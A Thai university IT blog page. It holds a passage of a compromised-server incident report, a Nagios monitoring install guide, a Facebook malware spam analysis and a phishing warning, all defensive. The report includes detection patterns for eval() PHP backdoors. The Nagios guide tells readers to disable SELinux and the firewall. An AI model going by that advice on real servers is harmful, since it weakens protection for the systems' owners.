     โดย ให้ผู้ใช้แต่ละคน สร้าง Web ในพื้นที่ /home ของแต่ละคนได้

     และเก็บ Logs ที่

     /opt/lampp/logs

     จึงตรวจสอบด้วยคำสั่ง

     grep "21/Nov/2013:21:45" /opt/lampp/logs/access_log

     ผลที่ได้คือ

    03-logplacefile

    แสดงให้เห็นว่า มีการเรียกไฟล์ *.php ใน images/stories ซึ่ง น่าจะเป็นช่องโหว่ จาก JCE Exploited ตาม วิธีตรวจสอบเว็บไซต์ที่โดน Hack #4 ซึ่งจะใช้วิธีการตามที่อธิบายไว้ก่อนหน้านี้แล้ว เพื่อตรวจสอบต่อไป

    5. เนื่องจาก ผู้ดูแลระบบ ได้สำรองข้อมูลของ /home/wwwroot/experience/images/smilies/.laknat/.libs/ เอาไว้ จึง เรียกออกมาดู

    ได้ผลดังนี้

    จะเห็นได้ว่า ไฟล์ a.txt.upd ถูกสร้างเมื่อเวลา 2013-11-21 21:45 จริงๆ

    เมื่อใช้คำสั่ง

    cat a.txt.upd

     ได้ผลว่า

    a.txt.upd

    จึงลองตรวจสอบ a.txt.run ด้วยคำสั่ง

    cat a.txt.run

     ได้ผลว่า

     a.txt.run

    และใช้คำสั่ง

    cat a.txt

     ซึ่งเป็นโปรแกรม ภาษา TCL ซึ่งมีรายละเอียดยาวมาก แต่ มีส่วนหนึ่ง เขียนว่า

    a.txt

    และจากการตรวจสอบ ทั้ง directory ก็พบว่า เป็นการเอา Network Tools ต่างๆ ได้แก่ Sniffer, Network Scanner และ อื่นๆอีกมากมาย ซึ่ง เอาตัวโปรแกรม เช่น TCL แบบ Portable มาด้วย หมายความว่า แม้เครื่อง Server ไม่ติดตั้ง TCL ก็สามารถทำงานได้เลยทีเดียว

     ดังนั้น เครื่องนี้ ถูกสั่งงานจากทางไกล กลายเป็น Botnet เพื่อตรวจสอบ เครื่องแม่ข่ายภายใน แม้มหาวิทยาลัยจะมี Firewall ป้องกัน แต่ถูกเครื่องนี้ ดักเก็บข้อมูล และแสดงผลกลับไปให้ Hacker ผ่านทาง Port TCP/80 ซึ่ง Firewall เปิดให้ใช้งานได้เลย

     5. ตรวจสอบว่า มีไฟล์ *.php ใน directory images/stories อีกหรือไม่ ด้วยคำสั่ง

     find /home -name "*.php" -type f | grep 'images/stories'

     ก็พบเพียงไฟล์เดียว คือ

     /home/wwwroot/research_old/images/stories/gh.php

     ซึ่งผิดสังเกต เมื่อตรวจสอบไฟล์ที่สร้างขึ้นในเวลาใกล้เคียงกัน ก็ไม่พบความผิดปรกติ ซึ่ง ไม่ปรกติ

    6. จึงตรวจสอบทั้ง /home ทุกไฟล์ *.php ที่อาจจะมี Backdoor ที่อาจซ่อนการใช้ฟังก์ชั่น eval หรือไม่ ด้วยคำสั่ง

    for f in $(find /home/ -name "*.php" -type f) ; do
      echo $f
      echo "---"
      grep 'eval(' "$f"
      echo "---"
    done

     พบว่า มีไฟล์ *.php ทั้งหมดจำนวน 15,883 ไฟล์ ในนั้นมี 200 กว่าไฟล์ ที่มีการใช้ฟังก์ชั่น eval จริง แต่บางส่วน ก็เป็นไฟล์ที่ถูกต้อง แต่มี 34 ไฟล์ ที่ เป็นไฟล์ Backdoor ใหม่ๆ เพิ่งสร้างขึ้นมา เช่น

    และ เป็นไฟล์ของระบบ ที่มีการแทรก Backdoor Code เข้าไป เช่น

    จึง เก็บรายชื่อไฟล์ทั้ง 34 นี้ ไว้ในไฟล์ ชื่อ 11-manualhack.txt และใช้คำสั่งต่อไปนี้ เพื่อเก็บไฟล์เอาไว้ เพื่อใช้ตรวจสอบต่อไป

     cat 11-manualhack.txt | xargs tar -cvf evalbackdoor.tar

     แล้วจึง ลบทิ้งด้วยคำสั่งต่อไปนี้

     cat 11-manualhack.txt | xargs rm -rf

     7. ตรวจสอบต่อไปว่า มี directory ใดบ้าง ที่ เปิดให้ Web User ‘nobody’ เขียนได้ ด้วยคำสั่ง

     find /home -user nobody -perm -u+w -type d

    พบว่า มี directory จำนวนมากที่เปิดให้ Web User เขียนได้

    และ ใช้คำสั่งต่อไปนี้ ดูว่า มี directory ใดบ้าง เปิดให้ใครๆก็เขียนได้ (World Writable) หรือ ตั้ง permission 777 ด้วยคำสั่ง

    find /home  -perm -o=w -type d

     ก็มีจำนวนมากเช่นกัน

     การแก้ไขปัญหา

    1. เก็บไฟล์ Backdoor ด้วยคำสั่งต่างๆข้างต้น และลบทิ้ง

    2. ปรับให้ทุก Directory เป็น Permission 755 ด้วยคำสั่ง

     find /home -type d -print0 | xargs -0 chmod 0755

     3. ปรับให้ทุก File เป็น Permission 644

     find /home -type f -print0 | xargs -0 chmod 0644

     4. เปลี่ยน Owner และ Group ของทุก Directory และ Files ให้เป็นของแต่ละ User ด้วยคำสั่งประมาณนี้

    chown -R user01.user01 /home/wwwroot

    5. ลบ crontab ด้วยคำสั่ง

    rm /var/spool/cron/crontabs/nobody

    6. หยุด Process PID 5106

    kill -9 5106

     คำแนะนำ

    เนื่องจาก ขณะนี้ได้ เราได้แต่ค้นหา ช่องโหว่ ตามที่เคยเรียนรู้มาเท่านั้น ยังมีรูปแบบต่างๆ ที่ยังไม่รู้อีกมากมาย จึงแนะนำให้

    1. ติดตั้ง OS ใหม่

    2. ติดตั้ง Joomla ใหม่ และ ย้ายเฉพาะ ข้อมูลที่อยู่ใน MySQL มา แล้วจึง Upgrade ให้เป็นรุ่นล่าสุด

    3. ย้ายเฉพาะ ภาพ และ ไฟล์เอกสารสำคัญมา แต่ต้องไม่เอาไฟล์ .php หรือ อื่นๆมาเด็ดขาด

    4. เข้มงวดกับการตั้ง Owner และ Permission กับผู้ใช้งานทุกคนของระบบ, หากจะมี Directory ใดต้องให้มีการ Upload ไฟล์ได้ จะต้องตั้งค่าไม่ให้ PHP ทำงานได้เด็ดขาด

    5. การใช้งาน Joomla จะต้องยกเลิกการ Upload ภาพผ่านทาง HTTP แต่ให้ใช้ FTP แทน

     และ บทความต่อๆไป จะพูดถึงการ Hardening เพื่อลดความเสียหายต่อไป

     ขอให้โชคดี

  • การติดตั้งโปรแกรมชุด Monitor Server (CentOS 6 + Epel + NRPE + NagiosQL + NagiosGraph)

    เนื้อหา

    วิธีการติดตั้ง CentOS และ EPEL Repository

    OS : CentOS 6.3 Nagios : 3.4.X

    1) ติดตั้ง CentOS 6.3

    2) ตั้งค่า Network

    3) ทำการ Update CentOS ให้ใหม่สุดดังนี้

       # yum update

    4) ทำการเปิด Repository EPEL โดยโหลดไฟล์จากดังตัวอย่าง ในตัวอย่างเป็น Version 6.8
    อาจโหลดไม่ได้ถ้ามี Version ใหม่กว่าออกมา

       # wget http://mirrors.thzhost.com/epel/6/x86_64/epel-release-6-8.noarch.rpm

    5) ทำการติดตั้ง EPEL rpm ดังนี้

       # rpm -ivh epel-release-6-8.noarch.rpm

    6) ทำการ Update CentOS อีกครั้ง

    Top


    วิธีการตั้งค่า Time Sync

    1) ติดตั้ง ntpd ดังนี้

       # yum install ntp

    2) ติดตั้งโปรแกรม vim เพื่อใช้ในการแก้ไขไฟล์ ดังนี้

       # yum install vim

    3) แก้ไขไฟล์ /etc/ntp.conf ดังนี้

    ...
    # Please consider joining the pool (http://www.pool.ntp.org/join.html).
    #server 0.centos.pool.ntp.org
    #server 1.centos.pool.ntp.org
    #server 2.centos.pool.ntp.org
    server time.psu.ac.th
    server ntp.ku.ac.th
    ...

    4) ทำการ update เวลาให้ตรงก่อน Start Service ntp ดังนี้

       # ntpdate time.psu.ac.th

    5) ทำการ Start Service ntp และตั้งให้รันตอนเปิดเครื่อง ดังนี้

       # service ntpd start
       # chkconfig ntpd on

    6) คำสั่งสำหรับ Check สถานะการ Sync ต้องรอหลัง Start Service สักพัก * หน้าชื่อ Server
    เป็นตัวบอกว่าเป็น Server ที่กำลัง Sync เวลาด้วยล่าสุด (Service จะเลือกเองว่าจะเลือกใช้ Server ไหน)

       # ntpq -p

    Top


    วิธีการปิด selinux และ firewall

    1) ทำการแก้ไขไฟล์ /etc/selinux/config ดังนี้

    ...
    #     disabled - No SELinux policy is loaded.
    # SELINUX=enforcing
    SELINUX=disabled
    # SELINUXTYPE= can take one of these two values:
    #     targeted - Targeted processes are protected,
    #     mls - Multi Level Security protection.
    SELINUXTYPE=targeted
    ...

    2) สั่งปิด service firewall ดังนี้

       # service iptables stop
       # service ip6tables stop
       # chkconfig iptables off
       # chkconfig ip6tables off

    3) ทำการ Restart เครื่องเพื่อทดสอบ

       # reboot

    Top


    ตัวอย่างวิธีการ เปิด rule โดยไม่ปิด Firewall

    แก้ไขไฟล์ /etc/sysconfig/iptables ดังนี้

    # Generated by iptables-save v1.4.7 on Mon Feb 18 10:13:39 2013
    *filter
    :INPUT ACCEPT [0:0]
    :FORWARD ACCEPT [0:0]
    :OUTPUT ACCEPT [4:480]
    -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
    -A INPUT -p icmp -j ACCEPT
    -A INPUT -i lo -j ACCEPT
    -A INPUT -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT
    -A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
    -A INPUT -p tcp -m tcp --dport 443 -j ACCEPT
    -A INPUT -j REJECT --reject-with icmp-host-prohibited
    -A FORWARD -j REJECT --reject-with icmp-host-prohibited
    COMMIT
    # Completed on Mon Feb 18 10:13:39 2013

    Top


    วิธีการติดตั้ง Nagios

    1) ติดตั้ง Nagios และสั่งเปิดใช้งานอัตโนมัติที่เปิดเครื่องดังนี้

       # yum install nagios
       # chkconfig nagios on
       # service nagios start

    2) สั่ง Start Apache Web Server อัตโนมัติดังนี้

       # chkconfig httpd on
       # service httpd start

    3) ติดตั้ง Plugin ของ Nagios ดังนี้

       # yum install nagios-plugins*

    4) ทำการตั้งรหัสผ่าน User Nagiosadmin ดังนี้

       # htpasswd -c /etc/nagios/passwd nagiosadmin

    5) เปิดใช้งาน https ดังนี้

       # yum install mod_ssl
       # service httpd restart

    6) ทำการสร้างไฟล์ /var/www/html/index.html เพื่อให้ Redirect อัตโนมัติเข้าไปยัง /nagios ดังนี้

    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
    <html>
    <head>
    <title>Auto Redirect to nagios</title>
    <meta http-equiv="REFRESH" content="0;url=https://<server-name>/nagios"></HEAD>
    <BODY>
    Please Wait.....
    </BODY>
    </HTML>

    7) เพื่อความปลอดภัยให้ปิด Signature เพื่อไม่ให้บอก Version ของ Apache โดยแก้ไขไฟล์ /etc/httpd/conf/httpd.conf ดังนี้

    ...
    # Set to one of:  On | Off | EMail
    #
    #ServerSignature On
    ServerSignature Off
    #
    # Aliases: Add here as many aliases as you need (with no limit). The format is
    # Alias fakename realname
    ...

    8) ทำการ Restart Service Apache ดังนี้

       # service httpd restart

    Top


    ขั้นตอนการเตรียมการติดตั้ง NagiosQL

    1) เบื้องต้นต้องทำการติดตั้ง php5 mysql-server

       # yum install php mysql-server php-mysql

    2) ทำการ config /etc/php.ini ในส่วนของ Timezone ดังนี้

    ...
    [Date]
    ; Defines the default timezone used by the date functions
    ; http://www.php.net/manual/en/datetime.configuration.php#ini.date.timezone
    ;date.timezone = 
    date.timezone = Asia/Bangkok
    
    ; http://www.php.net/manual/en/datetime.configuration.php#ini.date.default-latitude
    ...

    3) ทำการ Start Mysql Server และ ตั้งให้รันอัตโนมัติเมื่อเปิดเครื่อง

       # service mysqld start
       # chkconfig mysqld on

    4) ทำการตั้ง password root mysql-server ดังนี้ (ไม่แนะนำให้ใช้ mysqladmin เพราะจะค้างอยู่ใน history

    4.1) เข้าไปยัง mysql console ดังนี้

       # mysql -u root

    4.2) ทำการตั้งรหัสผ่าน ดังนี้ (ระวัง password มี ‘ ให้ใส่ \’ ถ้าจะตั้ง password ที่มี ‘)

       mysql>SET PASSWORD FOR 'root'@'localhost' = PASSWORD('secret_password');

    5) สร้าง directory ดังนี้

       # mkdir /etc/nagiosql
       # mkdir /etc/nagiosql/hosts
       # mkdir /etc/nagiosql/services
       # mkdir /etc/nagiosql/backup
       # mkdir /etc/nagiosql/backup/hosts
       # mkdir /etc/nagiosql/backup/services

    6) เปลี่ยนเจ้าของ directory ข้างต้นเป็น [webserver_account].nagios ดังนี้

       # chown -R apache.nagios /etc/nagiosql

    7) ทำการเปลี่ยน Owner ของ Config nagios ให้เป็นดังนี้

       # chown -R apache:nagios /etc/nagios/nagios.cfg
       # chown -R apache:nagios /etc/nagios/cgi.cfg
       # chown -R apache.nagios /var/spool/nagios/cmd/nagios.cmd
       # chmod 640 /etc/nagios/nagios.cfg
       # chmod 640 /etc/nagios/cgi.cfg
       # chmod 660 /var/spool/nagios/cmd/nagios.cmd

    8) สร้าง directory เพิ่มเติมดังนี้

       # mkdir /opt/nagiosql
       # chown apache /opt/nagiosql

    9) ทำการสร้างไฟล์ apache config สำหรับ nagiosql ดังนี้

       # touch /etc/httpd/conf.d/nagiosql.conf

    10) ทำการแก้ไขไฟล์ /etc/httpd/conf.d/nagiosql.conf โดยเพิ่มข้อความดังนี้

    Alias /nagiosql "/opt/nagiosql"
    <Directory "/opt/nagiosql">
       Options None
       AllowOverride None
       Order allow,deny
       Allow from all
    #  Order deny,allow
    #  Deny from all
    #  Allow from 127.0.0.1
       AuthName "NagiosQL Access"
       AuthType Basic
       AuthUserFile /etc/nagios/passwd
       Require valid-user
    </Directory>

    11) ทำการติดตั้ง extension ssh2 ดังนี้

        # yum install php-pecl-ssh2

    12) ทำการ Restart Apache อีกรอบ

        # service httpd restart

    13) ทำการโหลดโปรแกรมตาม URL ดังนี้

       # cd /opt
       # wget http://downloads.sourceforge.net/project/nagiosql/nagiosql/NagiosQL%203.2.0/nagiosql_320.tar.gz

    14) แตกไฟล์วางใน /opt/nagiosql ดังนี้

       # gunzip -c nagiosql_320.tar.gz | tar -xf - 
       # cd nagiosql32
       # mv * ../nagiosql
       # cd ..
       # rm -rf nagiosql32
       # chown -R apache /opt/nagiosql
       # chmod 750 /opt/nagiosql/config

    Top


    วิธีการติดตั้ง NagiosQL

    1) เปิด Web Browser https://nagios.in.psu.ac.th/nagiosql เพื่อเข้าสู่หน้าติดตั้ง

    2) กดปุ่ม START INSTALLATION เพิ่มไปยังหน้าถัดไป

    3) ตรวจสอบหน้า Checking requirements ถ้าพบข้อความ Environment test completed successfully ให้กดปุ่ม Next

    4) ในหน้า Setup ให้ทำการกรอกข้อมูล User Password Mysql-Server รวมถึง User Password ตั้งต้นของ NagiosQL

    5) จากนั้นกด Finish

    6) ทำการลบ directory install ทิ้ง

    *หมายเหตุ พบว่าระหว่างติดตั้ง แต่การใช้งานถ้ารหัสผ่านมี ‘ จะลงไม่ผ่าน

    7) หลังจากนั้นทำการ Login เข้าไปในหัวข้อ Admnistrator->Config targets

    8) แก้ Path ของ Nagios ดังนี้

    Nagios command file : /var/spool/nagios/cmd/nagios.cmd
    Nagios binary file : /usr/sbin/nagios
    Nagios process file : /var/run/nagios.pid
    Nagios config file : /etc/nagios/nagios.cfg (เหมือนเดิม)

    Top


    วิธีการติดตั้ง NagiogGraph

    1) เปิด Web Browser http://nagiosgraph.sourceforge.net/ เพื่อโหลดโปรแกรม

      # cd /tmp
      # wget http://downloads.sourceforge.net/project/nagiosgraph/nagiosgraph/1.4.4/nagiosgraph-1.4.4.tar.gz

    2) แตกไฟล์ zip ออกมาดังนี้

      # tar -xvzf /nagiosgraph-1.4.4.tar.gz
      # cd nagiosgraph-1.4.4

    3) ติดตั้ง Perl-GD และ Perl-CGI ดังนี้

      # yum install perl-GD perl-CGI

    4) ทำการตรวจสอบโปรแกรมที่ต้องการสำหรับการติดตั้ง ดังนี้

      # ./install.pl --check-prereq

    5) ทำการติดตั้งโปรแกรม nagiosgraph ดังนี้

      # ./install.pl --install
    * Enter ไปเรื่อย ๆ ให้แก้เฉพาะในส่วนของ username or userid of Nagios user? [nagios] เป็น user ที่ใช้งานจริง

    6) ทำการแก้ไขไฟล์ /etc/nagios/nagios.cfg โดยเพิ่มท้ายไฟล์ดังนี้

    # process nagios performance data using nagiosgraph
    process_performance_data=1
    service_perfdata_file=/tmp/perfdata.log
    service_perfdata_file_template=$LASTSERVICECHECK$||$HOSTNAME$||$SERVICEDESC$||$SERVICEOUTPUT$||$SERVICEPERFDATA$
    service_perfdata_file_mode=a
    service_perfdata_file_processing_interval=30
    service_perfdata_file_processing_command=process-service-perfdata-for-nagiosgraph

    7) ทำการเพิ่ม command ใน web nagiosql ให้รันคำสั่งดัง config ไฟล์นี้

    define command {
    command_name process-service-perfdata-for-nagiosgraph
    command_line /usr/local/nagiosgraph/bin/insert.pl
    }

    8) ทำการเพิ่มท้ายไฟล์ /etc/httpd/config/httpd.conf ให้ include config ไฟล์นี้

    include /usr/local/nagiosgraph/etc/nagiosgraph-apache.conf

    9) ทำการสร้าง Service ชื่อ nagiosgraph ใน web nagiosql โดยไฟล์ config มีข้อความประมาณนี้

    define service {
    name nagiosgraph
    action_url /nagiosgraph/cgi-bin/show.cgi?host=$HOSTNAME$&service=$SERVICEDESC$
    register 0
    }

    10) เพิ่ม Service ดังกล่าวไปยังเครื่องที่ต้องการ
    Top


  • แกะรอย Facebook Spam

    ตามรอย Facebook Spam with Virus

    คำเตือน : ขั้นตอนต่อไปนี้ ทำเพื่อให้เห็นว่า Facebook แพร่ Virus มาได้อย่างไรเท่านั้น

    อย่านำไปลองทำที่บ้าน !!! โดยเฉพาะ Windows Users

    1. มี Message มา เป็น Link แปลกๆ

    01-facebook-message

    2. ระแวงไว้ก่อน ลองใช้ Linux Mint LiveCD ตรวจสอบ

    โดยเปิด Link ดังกล่าวด้วย  FireFox (พิมพ์ลงไป ไม่ได้เปิดโดยตรงจาก Facebook)
    พบว่า มันให้ Download ไฟล์ Zip ชื่อ CameraImage-35160.jpg.zip
    ดังภาพ

    02-linuxmintcd

    แต่เดี๋ยวก่อน !!! อย่าใช้คำสั่ง Open เด็ดขาด
    ให้เปลี่ยนเป็น Save File

    หากใครเจอเหตุการณ์เช่นนั้น แล้วเผลอไปเปิด
    คุณก็ติด Virus เข้าแล้ว !!!

    3. จะเห็นได้ว่า พวกนี้จะหลอกให้ผู้ใช้ โดยเฉพาะ Windows ที่มักจะ “ซ่อน” นามสกุลของไฟล์

    (Hide known extensions) ทำให้ไม่เห็นว่าไฟล์ที่ download มานั้นเป็น .Zip ซึ่งจะสามารถสั่งให้
    Execute โปรแกรมหรือ สั่งให้ Virus ทำงานได้ทันที !

    ผู้ใช้ที่ไม่รู้หรือไม่สังเกตุ ก็จะเห็นเป็นแค่
    CameraImage-35160.jpg
    ซึ่งน่าจะเป็นภาพ แทนที่จะเป็น
    CameraImage-35160.jpg.zip
    ซึ่งเป็นไฟล์อันตราย

    4. คราวนี้ มาดูว่า เจ้าไฟล์นี้ มันทำอะไร

    โดยทดลองเปิดดู (บน Linux Mint ไวรัสไม่สามารถทำอะไรได้)
    พบว่าใน Zip ไฟล์นี้ มี ไฟล์ชื่อ
    summertime-fun.jpg.exe
    อยู่ ซึ่งเป็น Virus นั่นเอง (ดังภาพ)
    03-exe-inside

    5. ต่อไป เป็นการส่งไฟล์ไปตรวจสอบ ว่าเป็น Virus ชนิดใด

    ในที่นี้เลือกใช้

    https://www.virustotal.com/en/

    เพราะสามารถส่งไฟล์ไปตรวจสอบได้ทาง Web Browser ดังภาพ
    04-sendfile-to-scan

    โดยเลือกไฟล์ summertime-fun.jpg.exe ข้างต้นไปตรวจสอบ

    ผลที่ได้คือ

    05-scan-result

    สรุป เป็น Virus/Malware ชนิดหนึ่ง

    รายละเอียดยังไม่แน่ชัด แต่ไม่ไปยุ่งกับมันเป็นดีที่สุด

    6. อ่านเพิ่มเติมเกี่ยว Virus/Spam ที่มากับ Facebook ได้ที่

    http://www.hacker9.com/beware-of-spambook-facebook-spam-and-virus.html

     

    สำหรับใครที่เจอเหตุการณ์นี้ แล้ว

    1. ได้รับ Message แล้วคลิก Link … ถ้า Web Browser ของท่านฉลาดสักหน่อย ก็จะถามว่า จะ Save หรือ Open
    (กรณีใช้ Microsoft Windows เท่านั้น)

    ถ้าเลือก Save แล้วไม่ได้ไปเปิดไฟล์ –> ก็ยังปลอดภัย แค่ไปลบไฟล์ทิ้ง จบ
    ถ้าเลือก Open แล้ว ไม่ได้ไป Double Click ไฟล์ที่ซ่อนอยู่ –> ก็ยังปลอดภัย ลบไฟล์ทิ้ง จบ
    แต่ถ้า เลือก Open แล้ว double click –> ท่านน่าจะติด Virus ไปแล้วครับ ถ้าในเครื่องมี Antivirus แต่ไม่ Update
    หรือตรวจสอบไม่เจอ ก็เป็นอันว่า มันฝังในเครื่องแล้ว

    หากติดแล้ว จะเห็นได้ว่า เครื่องจะช้าลง เพราะ Virus/Malware/Trojan พวกนี้จะพยายามติดต่อ Internet เพื่อทำการบางอย่างเช่น แพร่ข้อความ หรือ ที่เคยเจอมา “จะติดต่อกลับไปหาเจ้าของ” ซึ่ง Trojan พวกนี้ จะเปิด Backdoor เอาไว้ ทำให้เครื่องของท่าน
    กลายเป็น Botnet หรือ หุ่นเชิด ผู้ร้ายจะสามารถนำไฟล์อื่นๆมาลงในเครื่องได้ ซึ่งความเสี่ยงได้แก่
    1.1 มีการวาง Key-logger ซึ่งจะดักจับการ กด Keyboard ไว้แล้วส่งไปให้ผู้ร้าย ดังนั้น ถ้าท่านมีการพิมพ์รหัสผ่านต่างๆ
    ก็มีโอกาสที่ผู้ร้าย จะสามารถเข้าถึงบัญชีต่างๆของท่าน และเสี่ยงมากขึ้น หากเป็นข้อมูลทางการเงิน เป็นต้น
    1.2 วางไฟล์ที่จะแพร่ Virus/Malware/Trojan พวกนี้ผ่าน Social Network/Email ไปยังคนที่เกี่ยวข้องกับท่าน
    สร้างความเสียหายเป็นวงกว้าง
    1.3 อื่นๆอีกมากมาย เช่น ก่อกวนทำความเสียหายให้กับเครื่องคอมพิวเตอร์และระบบเครือข่าย

    แนะนำให้หาผู้เชี่ยวชาญใกล้ตัว เพื่อล้าง virus ครับ

    2. ท่านที่ได้รับ Message แต่ไม่ได้เป็น Windows ก็ไม่ต้องเป็นห่วงครับ มันทำอะไรไม่ได้
    แต่ควรระวัง อย่าคลิกอะไรโดยไม่ดู เพราะ ครั้งนี้ ตัวอย่างนี้ เป็นการแพร่ไวรัสแบบ เป็น “ไฟล์”
    ซึ่ง ยังมีอีกรูปแบบหนึ่งคือ มันจะฝังมาใน Temporary Internet File ซึ่ง แค่คลิกลิงค์ ก็ติดแล้ว
    โดย เมื่อคลิกลิงค์ ก็จะไปเปิด Website ที่แพร่ Malware เครื่องของท่านก็จะอยู่ภายใต้การควบคุมทันที
    ซึ่ง ทุกระบบปฏิบัติการ มีโอกาสเสี่ยงได้เท่าๆกัน

     

     

    วิธีป้องกันตัวเอง คือ

    ระแวงในทุกสิ่งที่มาจาก Internet แล้วคุณจะปลอดภัยมากขึ้น
    ไม่รู้ ไม่แน่ใจ อย่าคลิก และ ให้สอบถามจากผู้รู้

  • จดหมายหลอกลวง 2013-08-07

    วันนี้ 7 สิงหาคม 2556 มีจดหมายหลอกลวงหลุดเข้ามาในระบบ
    โดยผ่าน ผู้ใช้ของมหาวิทยาลัย 3 คน ซึ่งโดนหลอกเอารหัสผ่านไปก่อนหน้านี้
    ซึ่ง ทั้งหมด ถูกระงับการใช้งาน PSU Email ชั่วคราวไปแล้ว

    โดยจะมีหน้าตาจดหมาย เป็นภาษาไทย แต่อ่านแล้วสับสน เพราะใช้ Google Translate แปล เพื่อหลอกคนไทยโดยเฉพาะ เนื้อหาประมาณนี้

    spam-20130807

     

    โดยหวังให้ผู้ที่โดนหลอก คลิก Link ใน Email ซึ่งจะได้พบหน้า Website นี้

    spam-20130807-2

     

    เมื่อมีผู้หลงเชื่อ กรอกข้อมูลลงไป โดยเฉพาะ Username และ Password ก็ทำให้ผู้ร้ายสามารถเข้ามาใช้ PSU Webmail ของผู้นั้น เป็นฐานในการโจมตีผู้อื่นต่อไป

    ผลกระทบที่ผู้ถูกหลอกจะได้รับ

    1. จะมีจดหมายจากตัวเอง ส่งไปหาคนทั่วโลก นับแสนคน สร้างความเดือนร้อนรำคาญ

    2. ผู้ร้าย จะทำการเปลี่ยนข้อมูลส่วนตัวของผู้นั้น เมื่อผู้รับตอบกลับมา จะไม่กลับมายัง Email ของคนนั้นอีกเลย แต่จะส่งไปให้ผู้ร้ายแทน

    หากมีข้อมูลทางการเงิน ก็อาจทำให้สูญทรัพย์สินได้

    3. หากมีการส่ง Email ขยะออกไปมาก จะทำให้ ทั่วโลกปิดกั้นการรับข้อมูลจากมหาวิทยาลัย และทำให้เกิดความเสียหายกับทั้งมหาวิทยาลัยได้

     

    ทางมหาวิทยาลัย จะไม่มีจดหมายลักษณะดังกล่าวไปแจ้งผู้ใช้ ** เด็ดขาด **

    กรุณาอ่านเพิ่มเติม เกี่ยวกับกลลวงต่างๆได้ที่

    http://share.psu.ac.th/blog/cyber007/25717

    หากท่านใดได้รับ กรุณาลบทิ้งทันที อย่าได้ลองคลิก Link เด็ดขาด เพราะอาจจะมีการฝัง Script บางอย่าง เพื่อฝังไว้ในเครื่องของท่านก็เป็นได้

     

    จึงเรียนมาเพื่อทราบ